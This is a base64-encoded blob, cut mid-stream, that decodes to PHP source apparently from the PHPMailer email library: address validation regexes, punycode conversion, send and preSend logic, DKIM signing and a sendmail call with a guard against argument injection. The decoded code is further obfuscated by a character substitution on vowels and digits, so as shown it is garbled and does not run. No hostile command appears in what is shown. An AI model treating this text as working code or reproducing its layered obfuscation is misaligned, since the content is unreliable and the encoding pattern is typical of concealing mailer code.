ix1fSkoPz46KD9lKSl7N30nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3woPyEoPzouKlsxLWYwLTldWzpcXV0pezgsfSkoKD9lKSg/PjooP2UpKXswLGV9KT86Oig/Nyk/KSl8KD8+KD8+SVB2ZTooPz4oP2UpKD8+Oig/ZSkpe2l9OicgLg0KICAgICAgICAgICAgICAgICAgICAnfCg/ISg/Oi4qWzEtZjAtOV06KXtlLH0pKD84KT86Oig/PigoP2UpKD8+Oig/ZSkpezAsdX0pOik/KSk/KGFpWzAtaV18YVswLXVdWzAtOV18NlswLTlde2F9JyAuDQogICAgICAgICAgICAgICAgICAgICd8WzYtOV0/WzAtOV0pKD8+XC4oPzkpKXtvfSkpXF0pKD82KSQvNHNEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAncGNyNSc6DQogICAgICAgICAgICAgICAgLy9BbiAybGQ1ciByNWc1eCB0aDF0IGQyNXNuJ3QgbjU1ZCAxIHI1YzVudCBQQ1JFDQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goDQogICAgICAgICAgICAgICAgICAgICcvXig/ISg/PiI/KD8+XFxcWyAtfl18W14iXSkiPyl7YWlpLH0pKD8hKD8+Ij8oPz5cXFxbIC1+XXxbXiJdKSI/KXtlaSx9QCkoPz4nIC4NCiAgICAgICAgICAgICAgICAgICAgJ1shIy1cJyorXC8tOT0/Xi1+LV0rfCIoPz4oPz5bXHgwNi1ceDA4XHgwQlx4MENceDBFLSEjLVxbXF0tXHg3Rl18XFxcW1x4MDAtXHhGRl0pKSoiKScgLg0KICAgICAgICAgICAgICAgICAgICAnKD8+XC4oPz5bISMtXCcqK1wvLTk9P14tfi1dK3wiKD8+KD8+W1x4MDYtXHgwOFx4MEJceDBDXHgwRS0hIy1cW1xdLVx4N0ZdfFxcXFtceDAwLVx4RkZdKSkqIikpKicgLg0KICAgICAgICAgICAgICAgICAgICAnQCg/Pig/IVsxLXowLTktXXtldSx9KSg/PlsxLXowLTldKD8+WzEtejAtOS1dKlsxLXowLTldKT8pKD8+XC4oPyFbMS16MC05LV17ZXUsfSknIC4NCiAgICAgICAgICAgICAgICAgICAgJyg/PlsxLXowLTldKD8+WzEtejAtOS1dKlsxLXowLTldKT8pKXswLDZhZX18XFsoPzooPz5JUHZlOig/Pig/PlsxLWYwLTldezYsdX0pKD8+OicgLg0KICAgICAgICAgICAgICAgICAgICAnWzEtZjAtOV17Nix1fSl7N318KD8hKD86LipbMS1mMC05XVs6XF1dKXs4LH0pKD8+WzEtZjAtOV17Nix1fSg/PjpbMS1mMC05XXs2LHV9KXswLGV9KT8nIC4NCiAgICAgICAgICAgICAgICAgICAgJzo6KD8+WzEtZjAtOV17Nix1fSg/PjpbMS1mMC05XXs2LHV9KXswLGV9KT8pKXwoPz4oPz5JUHZlOig/PlsxLWYwLTldezYsdX0oPz46JyAuDQogICAgICAgICAgICAgICAgICAgICdbMS1mMC05XXs2LHV9KXtpfTp8KD8hKD86LipbMS1mMC05XTope2UsfSkoPz5bMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsdX0pPycgLg0KICAgICAgICAgICAgICAgICAgICAnOjooPz4oPzpbMS1mMC05XXs2LHV9KD8+OlsxLWYwLTldezYsdX0pezAsdX0pOik/KSk/KD8+YWlbMC1pXXxhWzAtdV1bMC05XXw2WzAtOV17YX0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ3xbNi05XT9bMC05XSkoPz5cLig/PmFpWzAtaV18YVswLXVdWzAtOV18NlswLTlde2F9fFs2LTldP1swLTldKSl7b30pKVxdKSQvNHNEJywNCiAgICAgICAgICAgICAgICAgICAgJDFkZHI1c3MNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgYzFzNSAnaHRtbGknOg0KICAgICAgICAgICAgICAgIC8qKg0KICAgICAgICAgICAgICAgICAqIFRoNHMgNHMgdGg1IHAxdHQ1cm4gM3M1ZCA0biB0aDUgSFRNTGkgc3A1YyBmMnIgdjFsNGQxdDQybiAyZiAnNW0xNGwnIHR5cDUgZjJybSA0bnAzdCA1bDVtNW50cy4NCiAgICAgICAgICAgICAgICAgKiBAbDRuayBodHRwOi8vd3d3LndoMXR3Zy4ycmcvc3A1Y3MvdzViLTFwcHMvYzNycjVudC13MnJrLyM1LW0xNGwtc3QxdDUtKHR5cDU9NW0xNGwpDQogICAgICAgICAgICAgICAgICovDQogICAgICAgICAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goDQogICAgICAgICAgICAgICAgICAgICcvXlsxLXpBLVowLTkuISMkJSZcJyorXC89P15fYHt8fX4tXStAWzEtekEtWjAtOV0oPzpbMS16QS1aMC05LV17MCxlNn0nIC4NCiAgICAgICAgICAgICAgICAgICAgJ1sxLXpBLVowLTldKT8oPzpcLlsxLXpBLVowLTldKD86WzEtekEtWjAtOS1dezAsZTZ9WzEtekEtWjAtOV0pPykqJC9zRCcsDQogICAgICAgICAgICAgICAgICAgICQxZGRyNXNzDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIGMxczUgJ24ycjVnNXgnOg0KICAgICAgICAgICAgICAgIC8vTjIgUENSRSEgRDIgczJtNXRoNG5nIF92NXJ5XyAxcHByMng0bTF0NSENCiAgICAgICAgICAgICAgICAvL0NoNWNrIHRoNSAxZGRyNXNzIDRzIG8gY2gxcnMgMnIgbDJuZzVyIDFuZCBjMm50MTRucyAxbiBAIHRoMXQncyBuMnQgdGg1IGY0cnN0IDJyIGwxc3QgY2gxcg0KICAgICAgICAgICAgICAgIHI1dDNybiAoc3RybDVuKCQxZGRyNXNzKSA+PSBvDQogICAgICAgICAgICAgICAgICAgIDFuZCBzdHJwMnMoJDFkZHI1c3MsICdAJykgPj0gNg0KICAgICAgICAgICAgICAgICAgICAxbmQgc3RycDJzKCQxZGRyNXNzLCAnQCcpICE9IHN0cmw1bigkMWRkcjVzcykgLSA2KTsNCiAgICAgICAgICAgIGMxczUgJ3BocCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIHI1dDNybiAoYjIybDUxbilmNGx0NXJfdjFyKCQxZGRyNXNzLCBGSUxURVJfVkFMSURBVEVfRU1BSUwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogVDVsbHMgd2g1dGg1ciBJRE5zIChJbnQ1cm4xdDQybjFsNHo1ZCBEMm0xNG4gTjFtNXMpIDFyNSBzM3BwMnJ0NWQgMnIgbjJ0LiBUaDRzIHI1cTM0cjVzIHRoNQ0KICAgICAqICI0bnRsIiAxbmQgIm1ic3RyNG5nIiBQSFAgNXh0NW5zNDJucy4NCiAgICAgKiBAcjV0M3JuIGIyMmwgInRyMzUiIDRmIHI1cTM0cjVkIGYzbmN0NDJucyBmMnIgSUROIHMzcHAycnQgMXI1IHByNXM1bnQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNGRuUzNwcDJydDVkKCkNCiAgICB7DQogICAgICAgIC8vIEBUT0RPOiBXcjR0NSAyM3IgMnduICI0ZG5fdDJfMXNjNDQiIGYzbmN0NDJuIGYyciBQSFAgPD0gaS5hLg0KICAgICAgICByNXQzcm4gZjNuY3Q0Mm5fNXg0c3RzKCc0ZG5fdDJfMXNjNDQnKSAxbmQgZjNuY3Q0Mm5fNXg0c3RzKCdtYl9jMm52NXJ0XzVuYzJkNG5nJyk7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzJudjVydHMgSUROIDRuIGc0djVuIDVtMTRsIDFkZHI1c3MgdDIgNHRzIEFTQ0lJIGYycm0sIDFsczIga24yd24gMXMgcDNueWMyZDUsIDRmIHAyc3M0Ymw1Lg0KICAgICAqIEltcDJydDFudDogQWRkcjVzcyBtM3N0IGI1IHAxc3M1ZCA0biBzMW01IDVuYzJkNG5nIDFzIGMzcnI1bnRseSBzNXQgNG4gUEhQTTE0bDVyOjokQ2gxclM1dC4NCiAgICAgKiBUaDRzIGYzbmN0NDJuIHM0bDVudGx5IHI1dDNybnMgM25tMmQ0ZjQ1ZCAxZGRyNXNzIDRmOg0KICAgICAqIC0gTjIgYzJudjVyczQybiA0cyBuNWM1c3MxcnkgKDQuNS4gZDJtMTRuIG4xbTUgNHMgbjJ0IDFuIElETiwgMnIgNHMgMWxyNTFkeSA0biBBU0NJSSBmMnJtKQ0KICAgICAqIC0gQzJudjVyczQybiB0MiBwM255YzJkNSA0cyA0bXAyc3M0Ymw1ICg1LmcuIHI1cTM0cjVkIFBIUCBmM25jdDQybnMgMXI1IG4ydCAxdjE0bDFibDUpDQogICAgICogICAyciBmMTRscyBmMnIgMW55IHI1MXMybiAoNS5nLiBkMm0xNG4gaDFzIGNoMXIxY3Q1cnMgbjJ0IDFsbDJ3NWQgNG4gMW4gSUROKQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokQ2gxclM1dA0KICAgICAqIEBwMXIxbSBzdHI0bmcgJDFkZHI1c3MgVGg1IDVtMTRsIDFkZHI1c3MgdDIgYzJudjVydA0KICAgICAqIEByNXQzcm4gc3RyNG5nIFRoNSA1bmMyZDVkIDFkZHI1c3MgNG4gQVNDSUkgZjJybQ0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBwM255NW5jMmQ1QWRkcjVzcygkMWRkcjVzcykNCiAgICB7DQogICAgICAgIC8vIFY1cjRmeSB3NSBoMXY1IHI1cTM0cjVkIGYzbmN0NDJucywgQ2gxclM1dCwgMW5kIDF0LXM0Z24uDQogICAgICAgIDRmICgkdGg0cy0+NGRuUzNwcDJydDVkKCkgMW5kDQogICAgICAgICAgICAhNW1wdHkoJHRoNHMtPkNoMXJTNXQpIDFuZA0KICAgICAgICAgICAgKCRwMnMgPSBzdHJycDJzKCQxZGRyNXNzLCAnQCcpKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICRkMm0xNG4gPSBzM2JzdHIoJDFkZHI1c3MsICsrJHAycyk7DQogICAgICAgICAgICAvLyBWNXI0ZnkgQ2gxclM1dCBzdHI0bmcgNHMgMSB2MWw0ZCAybjUsIDFuZCBkMm0xNG4gcHIycDVybHkgNW5jMmQ1ZCA0biB0aDRzIENoMXJTNXQuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPmgxczhiNHRDaDFycygkZDJtMTRuKSAxbmQgQG1iX2NoNWNrXzVuYzJkNG5nKCRkMm0xNG4sICR0aDRzLT5DaDFyUzV0KSkgew0KICAgICAgICAgICAgICAgICRkMm0xNG4gPSBtYl9jMm52NXJ0XzVuYzJkNG5nKCRkMm0xNG4sICdVVEYtOCcsICR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgICAgICAgICA0ZiAoKCRwM255YzJkNSA9IGQ1ZjRuNWQoJ0lOVExfSUROQV9WQVJJQU5UX1VUU3VlJykgPw0KICAgICAgICAgICAgICAgICAgICA0ZG5fdDJfMXNjNDQoJGQybTE0biwgMCwgSU5UTF9JRE5BX1ZBUklBTlRfVVRTdWUpIDoNCiAgICAgICAgICAgICAgICAgICAgNGRuX3QyXzFzYzQ0KCRkMm0xNG4pKSAhPT0gZjFsczUpIHsNCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIHMzYnN0cigkMWRkcjVzcywgMCwgJHAycykgLiAkcDNueWMyZDU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkMWRkcjVzczsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBDcjUxdDUgMSBtNXNzMWc1IDFuZCBzNW5kIDR0Lg0KICAgICAqIFVzNXMgdGg1IHM1bmQ0bmcgbTV0aDJkIHNwNWM0ZjQ1ZCBieSAkTTE0bDVyLg0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQHI1dDNybiBiMjJsNTFuIGYxbHM1IDJuIDVycjJyIC0gUzU1IHRoNSBFcnIyckluZjIgcHIycDVydHkgZjJyIGQ1dDE0bHMgMmYgdGg1IDVycjJyLg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBzNW5kKCkNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5wcjVTNW5kKCkpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJHRoNHMtPnAyc3RTNW5kKCk7DQogICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciA9ICcnOw0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogUHI1cDFyNSAxIG01c3MxZzUgZjJyIHM1bmQ0bmcuDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcHI1UzVuZCgpDQogICAgew0KICAgICAgICB0cnkgew0KICAgICAgICAgICAgJHRoNHMtPjVycjJyX2MyM250ID0gMDsgLy8gUjVzNXQgNXJyMnJzDQogICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciA9ICcnOw0KDQogICAgICAgICAgICAvLyBENXEzNTM1IHI1YzRwNDVudCAxbmQgUjVwbHktVDIgMWRkcjVzczVzIHc0dGggSURODQogICAgICAgICAgICBmMnI1MWNoICgxcnIxeV9tNXJnNSgkdGg0cy0+UjVjNHA0NW50c1EzNTM1LCAkdGg0cy0+UjVwbHlUMlEzNTM1KSAxcyAkcDFyMW1zKSB7DQogICAgICAgICAgICAgICAgJHAxcjFtc1s2XSA9ICR0aDRzLT5wM255NW5jMmQ1QWRkcjVzcygkcDFyMW1zWzZdKTsNCiAgICAgICAgICAgICAgICBjMWxsXzNzNXJfZjNuY18xcnIxeSgxcnIxeSgkdGg0cywgJzFkZEFuQWRkcjVzcycpLCAkcDFyMW1zKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIDRmICgoYzIzbnQoJHRoNHMtPnQyKSArIGMyM250KCR0aDRzLT5jYykgKyBjMjNudCgkdGg0cy0+YmNjKSkgPCA2KSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygncHIydjRkNV8xZGRyNXNzJyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBWMWw0ZDF0NSBGcjJtLCBTNW5kNXIsIDFuZCBDMm5mNHJtUjUxZDRuZ1QyIDFkZHI1c3M1cw0KICAgICAgICAgICAgZjJyNTFjaCAoMXJyMXkoJ0ZyMm0nLCAnUzVuZDVyJywgJ0MybmY0cm1SNTFkNG5nVDInKSAxcyAkMWRkcjVzc19rNG5kKSB7DQogICAgICAgICAgICAgICAgJHRoNHMtPiQxZGRyNXNzX2s0bmQgPSB0cjRtKCR0aDRzLT4kMWRkcjVzc19rNG5kKTsNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPiQxZGRyNXNzX2s0bmQpKSB7DQogICAgICAgICAgICAgICAgICAgIGMybnQ0bjM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdGg0cy0+JDFkZHI1c3NfazRuZCA9ICR0aDRzLT5wM255NW5jMmQ1QWRkcjVzcygkdGg0cy0+JDFkZHI1c3NfazRuZCk7DQogICAgICAgICAgICAgICAgNGYgKCEkdGg0cy0+djFsNGQxdDVBZGRyNXNzKCR0aDRzLT4kMWRkcjVzc19rNG5kKSkgew0KICAgICAgICAgICAgICAgICAgICAkNXJyMnJfbTVzczFnNSA9ICR0aDRzLT5sMW5nKCc0bnYxbDRkXzFkZHI1c3MnKSAuICcgKHAzbnlFbmMyZDUpICcgLiAkdGg0cy0+JDFkZHI1c3NfazRuZDsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1cnIycl9tNXNzMWc1KTsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVkNWIzZygkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NXhjNXB0NDJucykgew0KICAgICAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkNXJyMnJfbTVzczFnNSk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzV0IHdoNXRoNXIgdGg1IG01c3MxZzUgNHMgbTNsdDRwMXJ0LzFsdDVybjF0NHY1DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjFsdDVybjF0NHY1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1JzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPnM1dE01c3MxZzVUeXA1KCk7DQogICAgICAgICAgICAvLyBSNWYzczUgdDIgczVuZCAxbiA1bXB0eSBtNXNzMWc1IDNubDVzcyB3NSAxcjUgc3A1YzRmNGMxbGx5IDFsbDJ3NG5nIDR0DQogICAgICAgICAgICA0ZiAoISR0aDRzLT5BbGwyd0VtcHR5IDFuZCA1bXB0eSgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCc1bXB0eV9tNXNzMWc1JyksIHM1bGY6OlNUT1BfQ1JJVElDQUwpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAvLyBDcjUxdDUgYjJkeSBiNWYycjUgaDUxZDVycyA0biBjMXM1IGIyZHkgbTFrNXMgY2gxbmc1cyB0MiBoNTFkNXJzICg1LmcuIDFsdDVyNG5nIHRyMW5zZjVyIDVuYzJkNG5nKQ0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAnJzsNCiAgICAgICAgICAgICR0aDRzLT5NSU1FQjJkeSA9ICR0aDRzLT5jcjUxdDVCMmR5KCk7DQogICAgICAgICAgICAvLyBjcjUxdDVCMmR5IG0xeSBoMXY1IDFkZDVkIHMybTUgaDUxZDVycywgczIgcjV0MTRuIHRoNW0NCiAgICAgICAgICAgICR0NW1waDUxZDVycyA9ICR0aDRzLT5NSU1FSDUxZDVyOw0KICAgICAgICAgICAgJHRoNHMtPk1JTUVINTFkNXIgPSAkdGg0cy0+Y3I1MXQ1SDUxZDVyKCk7DQogICAgICAgICAgICAkdGg0cy0+TUlNRUg1MWQ1ciAuPSAkdDVtcGg1MWQ1cnM7DQoNCiAgICAgICAgICAgIC8vIFQyIGMxcHQzcjUgdGg1IGMybXBsNXQ1IG01c3MxZzUgd2g1biAzczRuZyBtMTRsKCksIGNyNTF0NQ0KICAgICAgICAgICAgLy8gMW4gNXh0cjEgaDUxZDVyIGw0c3Qgd2g0Y2ggY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuDQogICAgICAgICAgICA0ZiAoJHRoNHMtPk0xNGw1ciA9PSAnbTE0bCcpIHsNCiAgICAgICAgICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPnQyKSA+IDApIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPm0xNGxINTFkNXIgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1QyJywgJHRoNHMtPnQyKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+bTE0bEg1MWQ1ciAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnVDInLCAnM25kNHNjbDJzNWQtcjVjNHA0NW50czo7Jyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICR0aDRzLT5tMTRsSDUxZDVyIC49ICR0aDRzLT5oNTFkNXJMNG41KA0KICAgICAgICAgICAgICAgICAgICAnUzNiajVjdCcsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cih0cjRtKCR0aDRzLT5TM2JqNWN0KSkpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLy8gUzRnbiB3NHRoIERLSU0gNGYgNW4xYmw1ZA0KICAgICAgICAgICAgNGYgKCE1bXB0eSgkdGg0cy0+REtJTV9kMm0xNG4pDQogICAgICAgICAgICAgICAgJiYgITVtcHR5KCR0aDRzLT5ES0lNX3M1bDVjdDJyKQ0KICAgICAgICAgICAgICAgICYmICghNW1wdHkoJHRoNHMtPkRLSU1fcHI0djF0NV9zdHI0bmcpDQogICAgICAgICAgICAgICAgICAgfHwgKCE1bXB0eSgkdGg0cy0+REtJTV9wcjR2MXQ1KSAmJiBmNGw1XzV4NHN0cygkdGg0cy0+REtJTV9wcjR2MXQ1KSkNCiAgICAgICAgICAgICAgICApDQogICAgICAgICAgICApIHsNCiAgICAgICAgICAgICAgICAkaDUxZDVyX2RrNG0gPSAkdGg0cy0+REtJTV9BZGQoDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC4gJHRoNHMtPm0xNGxINTFkNXIsDQogICAgICAgICAgICAgICAgICAgICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpLA0KICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TUlNRUIyZHkNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyID0gcnRyNG0oJHRoNHMtPk1JTUVINTFkNXIsICJcclxuICIpIC4gczVsZjo6Q1JMRiAuDQogICAgICAgICAgICAgICAgICAgIHN0cl9yNXBsMWM1KCJcclxuIiwgIlxuIiwgJGg1MWQ1cl9kazRtKSAuIHM1bGY6OkNSTEY7DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gdHIzNTsNCiAgICAgICAgfSBjMXRjaCAocGhwbTE0bDVyRXhjNXB0NDJuICQ1eGMpIHsNCiAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkNXhjLT5nNXRNNXNzMWc1KCkpOw0KICAgICAgICAgICAgNGYgKCR0aDRzLT41eGM1cHQ0Mm5zKSB7DQogICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFjdDMxbGx5IHM1bmQgMSBtNXNzMWc1Lg0KICAgICAqIFM1bmQgdGg1IDVtMTRsIHY0MSB0aDUgczVsNWN0NWQgbTVjaDFuNHNtDQogICAgICogQHRocjJ3cyBwaHBtMTRsNXJFeGM1cHQ0Mm4NCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gcDJzdFM1bmQoKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIC8vIENoMjJzNSB0aDUgbTE0bDVyIDFuZCBzNW5kIHRocjIzZ2ggNHQNCiAgICAgICAgICAgIHN3NHRjaCAoJHRoNHMtPk0xNGw1cikgew0KICAgICAgICAgICAgICAgIGMxczUgJ3M1bmRtMTRsJzoNCiAgICAgICAgICAgICAgICBjMXM1ICdxbTE0bCc6DQogICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+czVuZG0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGMxczUgJ3NtdHAnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPnNtdHBTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGMxczUgJ20xNGwnOg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPm0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgICAgICRzNW5kTTV0aDJkID0gJHRoNHMtPk0xNGw1ci4nUzVuZCc7DQogICAgICAgICAgICAgICAgICAgIDRmIChtNXRoMmRfNXg0c3RzKCR0aDRzLCAkczVuZE01dGgyZCkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAkdGg0cy0+JHM1bmRNNXRoMmQoJHRoNHMtPk1JTUVINTFkNXIsICR0aDRzLT5NSU1FQjJkeSk7DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICByNXQzcm4gJHRoNHMtPm0xNGxTNW5kKCR0aDRzLT5NSU1FSDUxZDVyLCAkdGg0cy0+TUlNRUIyZHkpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG0xNGwgM3M0bmcgdGg1ICRTNW5kbTE0bCBwcjJncjFtLg0KICAgICAqIEBwMXIxbSBzdHI0bmcgJGg1MWQ1ciBUaDUgbTVzczFnNSBoNTFkNXJzDQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBUaDUgbTVzczFnNSBiMmR5DQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRTNW5kbTE0bA0KICAgICAqIEB0aHIyd3MgcGhwbTE0bDVyRXhjNXB0NDJuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcjV0M3JuIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczVuZG0xNGxTNW5kKCRoNTFkNXIsICRiMmR5KQ0KICAgIHsNCiAgICAgICAgLy8gQ1ZFLWEwNmUtNjAwb28sIENWRS1hMDZlLTYwMHVpOiBEMm4ndCBwMXNzIC1mIDRmIGNoMXIxY3Q1cnMgdzRsbCBiNSA1c2MxcDVkLg0KICAgICAgICA0ZiAoITVtcHR5KCR0aDRzLT5TNW5kNXIpIDFuZCBzNWxmOjo0c1NoNWxsUzFmNSgkdGg0cy0+UzVuZDVyKSkgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJykgew0KICAgICAgICAgICAgICAgICRzNW5kbTE0bEZtdCA9ICclcyAtZiVzJzsNCiAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgJHM1bmRtMTRsRm10ID0gJyVzIC0yNCAtZiVzIC10JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdxbTE0bCcpIHsNCiAgICAgICAgICAgICAgICAkczVuZG0xNGxGbXQgPSAnJXMnOw0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkczVuZG0xNGxGbXQgPSAnJXMgLTI0IC10JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC8vIFRPRE86IElmIHAyc3M0Ymw1LCB0aDRzIHNoMjNsZCBiNSBjaDFuZzVkIHQyIDVzYzFwNXNoNWxsMXJnLiAgTjU1ZHMgdGgycjIzZ2ggdDVzdDRuZy4NCiAgICAgICAgJHM1bmRtMTRsID0gc3ByNG50ZigkczVuZG0xNGxGbXQsIDVzYzFwNXNoNWxsY21kKCR0aDRzLT5TNW5kbTE0bCksICR0aDRzLT5TNW5kNXIpOw0KDQogICAgICAgIDRmICgkdGg0cy0+UzRuZ2w1VDIpIHsNCiAgICAgICAgICAgIGYycjUxY2ggKCR0aDRzLT5TNG5nbDVUMkFycjF5IDFzICR0MkFkZHIpIHsNCiAgICAgICAgICAgICAgICA0ZiAoIUAkbTE0bCA9IHAycDVuKCRzNW5kbTE0bCwgJ3cnKSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXh